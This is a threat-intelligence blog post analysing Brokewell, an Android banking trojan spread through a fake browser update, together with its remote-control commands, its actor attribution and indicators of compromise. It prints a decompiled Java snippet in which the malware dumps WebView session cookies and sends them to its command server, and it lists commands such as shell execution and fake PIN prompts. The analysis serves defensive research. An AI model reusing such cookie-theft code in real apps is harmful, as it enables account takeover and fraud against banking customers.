Brokewell: do not go broke from new banking malware!
2024-4-25 18:16:30 Author: www.threatfabric.com(查看原文) 阅读量:12 收藏

Introduction

Constant monitoring of the threat landscape allows us to spot new threats and actors early and take immediate action—evaluating the threat and preparing for it.

Our Threat Intelligence shows that device takeover capabilities remain crucial for any modern banking malware family, and new players entering the landscape are no exception. In most cases, remote access capabilities are built in from the start of the development cycle. Thus, it comes as no surprise that ThreatFabric analysts recently discovered a new mobile malware family, "Brokewell," with an extensive set of Device Takeover capabilities.

The analysis of the samples revealed that Brokewell poses a significant threat to the banking industry, providing attackers with remote access to all assets available through mobile banking. The Trojan appears to be in active development, with new commands added almost daily.

During our research, we discovered another dropper that bypasses Android 13+ restrictions. This dropper was developed by the same actor(s) and has been made publicly available, potentially impacting the threat landscape.

In this blog, we discuss Brokewell’s primary features that pose significant risks to financial institutions' customers and identify a new actor emerging in the mobile banking malware field.

Discovery - Browser Update?

Our analysts discovered a fake browser update page designed to install an Android application. At first glance, there was nothing unusual—posing as a browser update is a common method used by cybercriminals to lure victims into downloading and installing malware. This approach seems innocent (with a carefully crafted page promoting an update for a newer version of the software) and natural (as it occurs during normal browser use) to unsuspecting victims.

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However, our analysis revealed that the downloaded application is a previously unseen malware family with a wide range of capabilities. Moreover, a retrospective analysis showed prior campaigns by this malware family targeting a popular "buy now, pay later" financial service and an Austrian digital authentication application.

Slide2-4

Brokewell - Well, Now You are Broke

Brokewell is a typical modern banking malware equipped with both data-stealing and remote-control capabilities built into the malware.

Stealing data: Monitoring Everything

Brokewell uses overlay attacks, a common technique for Android banking malware, where it overlays a bogus screen on a targeted application to capture user credentials. Additionally, Brokewell can steal cookies, another feature common in modern mobile banking malware. It does this by launching its own WebView, overriding the onPageFinished method, and loading the legitimate website. Once the victim completes the login process, Brokewell dumps the session cookies and sends them to the command and control (C2) server.

public final void onPageFinished(WebView webView0, String s) {
    new Thread(new Runnable() {
        @Override
        public final void run() {
            try {
                JSONObject dataToSend = new JSONObject();
                try {
                    dataToSend.put("routing", "/webv/dump-cookies");
                    dataToSend.put("apk_id", com.brkwl.upstracking.WebvInject.f.this.a);
                    dataToSend.put("mycks", CookieManager.getInstance().getCookie(s));
                    dataToSend.put("myurl", s);
                }
                catch(JSONException jSONException0) {
                    jSONException0.printStackTrace();
                }
                AccSrvc.encryptAndSendData(dataToSend.toString());
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }
        }
    }).start();
}

Moreover, Brokewell is equipped with "accessibility logging," capturing every event happening on the device: touches, swipes, information displayed, text input, and applications opened. All actions are logged and sent to the command-and-control server, effectively stealing any confidential data displayed or entered on the compromised device.

It's important to highlight that, in this case, any application is at risk of data compromise: Brokewell logs every event, posing a threat to all applications installed on the device.

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This piece of malware also supports a variety of "spyware" functionalities: it can collect information about the device, call history, geolocation, and record audio.

Device Takeover via Remote Control Capabilities

After stealing the credentials, the actors can initiate a Device Takeover attack using remote control capabilities. To achieve this, the malware performs screen streaming and provides the actor with a range of actions that can be executed on the controlled device, such as touches, swipes, and clicks on specified elements.

Below is the set of commands available for remote control:

Commands

Description

doClickElem

Performs a click on the specified element on the screen

doClickXY

Performs a click at the specified coordinates on the screen

doDrawXY

Draws a line between the specified coordinates

DoGlobalActionBack

Simulates “BACK” button click

DoGlobalActionHome

Simulates “HOME” button click

DoGlobalActionRecents

Simulates “RECENTS” button click

doScrollElem

Performs a scroll in the specified element

doStartProjection

Starts screen streaming

doStopProjection

Stops screen streaming

DoSwipeBottom

Performs a swipe down

DoSwipeLeft

Performs a swipe left

DoSwipeRight

Performs a swipe right

DoSwipeUp

Performs a swipe up

doSwipeXY

Performs a swipe between the specified coordinates

doTypingElem

Inputs specified text in specified text field

doWakeScreen

Wakes up the screen

simulateVIBRATE

Simulates vibration

zeroBRIGHTNESS

Sets brightness to 0

zeroVOLUME

Sets volume to 0

As can be seen from the commands, the actors have full control over the infected device, allowing them to perform actions on the victim's behalf. These capabilities might be further expanded in the future by automating specific actions to streamline the Device Takeover attack for the actors and potentially create a functional Automated Transfer System (ATS).

The full list of the commands supported by Brokewell is available in the Appendix.

New Actor in Mobile Malware Field

As part of our usual investigation, we sought additional threat intelligence to help identify the actor behind the threat. This often requires considerable effort and doesn't always yield results.

However, some actors don't try to conceal their identity: one of the servers used as a command and control (C2) point for Brokewell was also used to host a repository called "Brokewell Cyber Labs," created by "Baron Samedit."

This repository contains the source code for the "Brokewell Android Loader," another tool from the same developer designed to bypass Android 13+ restrictions on Accessibility Service for side-loaded applications. More details on these restrictions and other droppers discovered by ThreatFabric are available in one of our recent blogs.

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We believe this will have a significant impact on the threat landscape. First, more actors will gain the capability to bypass Android 13+ restrictions, suggesting this could become a regular feature for most mobile malware families, similar to reading SMS messages.

Second, existing "Dropper-as-a-Service" offerings that currently provide this capability as a distinctive feature will likely either close their services or attempt to re-organize. This further lowers the entry barrier for cybercriminals looking to distribute mobile malware on modern devices, making it easier for more actors to enter the field.

Further analysis of the "Baron Samedit" profile reveals that they've been active for at least two years. However, the actor had previously provided tools to other cybercriminals to check stolen accounts from multiple services. With the introduction of the "Brokewell Android Loader" and its public availability, "Baron Samedit" has shifted to mobile malware, demonstrating the increasing interest of cybercriminals in this area.

Finally, many cybercriminals are trying to "professionalize" their illegal activities by creating landing pages for their "products," as seen in the case of the "Hadoken Security Group".

Below, you can see a screenshot of the landing page for "Brokewell Cyber Labs," where the actor advertises their products, including mobile threats and other offerings.

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Conclusion

The discovery of a new malware family, Brokewell, which implements Device Takeover capabilities from scratch, highlights the ongoing demand for such capabilities among cyber criminals. These actors require this functionality to commit fraud directly on victims' devices, creating a significant challenge for fraud detection tools that heavily rely on device identification or device fingerprinting.

We anticipate further evolution of this malware family, as we've already observed almost daily updates to the malware. Brokewell will likely be promoted on underground channels as a rental service, attracting the interest of other cybercriminals and sparking new campaigns targeting different regions.

Malware families like Brokewell pose a significant risk for customers of financial institutions, leading to successful fraud cases that are hard to detect without proper fraud detection measures.

We believe that only a comprehensive, multi-layered fraud detection solution—based on a combination of indicators, including device, behavior, and identity risks for each customer—can effectively identify and prevent potential fraud from malware families like the newly discovered Brokewell.

Stay vigilant, stay informed, and stay ahead with ThreatFabric.

Appendix

IOCs

App name

Package name

SHA256

GοοgΙe Chrοme jcwAz.EpLIq.vcAZiUGZpK d807070973bde0d85f260950dc764e46a0ba486f62da3e62f3b229ca3ea322f1
ID Austria zRFxj.ieubP.lWZzwlluca 00d35cf5af2431179b24002b3a4c7fb115380ebda496d78849bf3d10055d8a88

Supported Commands

Commands

Description

doClickElem

Performs a click on the specified element on the screen

doClickXY

Performs a click at the specified coordinates on the screen

doDrawXY

Draws a line between the specified coordinates

DoGlobalActionBack

Simulates “BACK” button click

DoGlobalActionHome

Simulates “HOME” button click

DoGlobalActionRecents

Simulates “RECENTS” button click

doScrollElem

Performs a scroll in the specified element

doStartProjection

Starts screen streaming

doStopProjection

Stops screen streaming

DoSwipeBottom

Performs a swipe down

DoSwipeLeft

Performs a swipe left

DoSwipeRight

Performs a swipe right

DoSwipeUp

Performs a swipe up

doSwipeXY

Performs a swipe between the specified coordinates

doTypingElem

Inputs specified text in specified text field

doWakeScreen

Wakes up the screen

simulateVIBRATE

Simulates vibration

zeroBRIGHTNESS

Sets brightness to 0

zeroVOLUME

Sets volume to 0

AcsDumpCurrentNode

Collect data from current Accessibility Node

ClearInjectList

Clear targets configuration

DoGlobalActionDpadCenter

Triggers center key event directional pad

DoGlobalActionDpadDown

Triggers down key event directional pad

DoGlobalActionDpadLeft

Triggers left key event directional pad

DoGlobalActionDpadRight

Triggers right key event directional pad

DoGlobalActionDpadUp

Triggers up key event directional pad

DoGlobalActionLockScreen

Locks the screen

DoGlobalActionNotifications

Opens notifications

DoGlobalActionPWRdialog

Opens power dialog

DoGlobalActionSplitScreen

Opens split screen

DoGlobalActionTakeScreenshot

Performs screenshot via global action

DumpTelephonyInfo

Collects information about SIM cards: phone number, operator name, number of SIM cards

askLOCKPIN

Opens fake screen requesting PIN code

askPERMIT

Requests necessary permissions

checkIPexit

Retrieves IP address via external service

checkPERMIT

Checks status of requested permissions

doActivateAdminPermit

Requests activation of Device Admin

doCheckKeyguardState

Checks status of keyguard

doCustomShowOVLAY

Opens window with specified text

doDisabAggressiveReconnect

Increases timeout before next connect

doEnabAggressiveReconnect

Decreases timeout before next connect

doEnableUnknownSourceInstall

Opens unknown app sources setting

doFlipANTI_UNINSTALL

Changes self-defence setting to opposite (enables/disables)

doGetCallHistory

Collects call history

doGetGeoloc

Collects geolocation

doGetPKGINFO

Gets details of the malicious package

doGetRAMconsumed

Collects details about memory consumption

doHideFKLCRIcon

Hides other components (currently empty)

doHideIcon

Hides application icon

doINIT

Collects extensive data about the device hardware

doInstallPKG

Downloads and installs application

doOpenNotifSettings

Opens app notification settings

doPINAutoUnlockScreen

Automatically unlocks device with provided PIN

doPING

Sends “PONGGGGxxxx” response

doPhoneCall

Performs phone call

doRecordAudio

Starts audio recording for specified duration

doScreenshot

Takes screenshot with the help of Accessibility Service

doSelfDestroy

Uninstalls malware

doSelfUpdateAPK

Downloads and installs application with the same package name

doSendSMS

Sends SMS message

doSetAggressiveACSMASK

Sets malware to monitor all Accessibility events (“TYPE_ALL_MASK”)

doSetAssertiveACSMASK

Set malware to monitor only “TYPE_WINDOW_STATE_CHANGED” events

doStopAcsSrvc

Disables Accessibility Service

doUnHideFKLCRIcon

Enables other components (currently empty)

doUnHideIcon

Enables icon of the application

doUninstallPKG

Uninstalls specified package

getBattery

Gets battery status

getInstalledPackages

Collects installed applications

openCertainAPK

Opens specified application

openDeveloperOptions

Opens development settings if enabled

openWebvInject

Opens WebView with specified URL

runSHELL

Executes shell command

setC2addr

Updates C2 server address

setInjectList

Sets targets configuration

showNotif

Shows notification

showOVLAY

Shows window with text “Android is updating... Please dont turn off device.


文章来源: https://www.threatfabric.com/blogs/brokewell-do-not-go-broke-by-new-banking-malware
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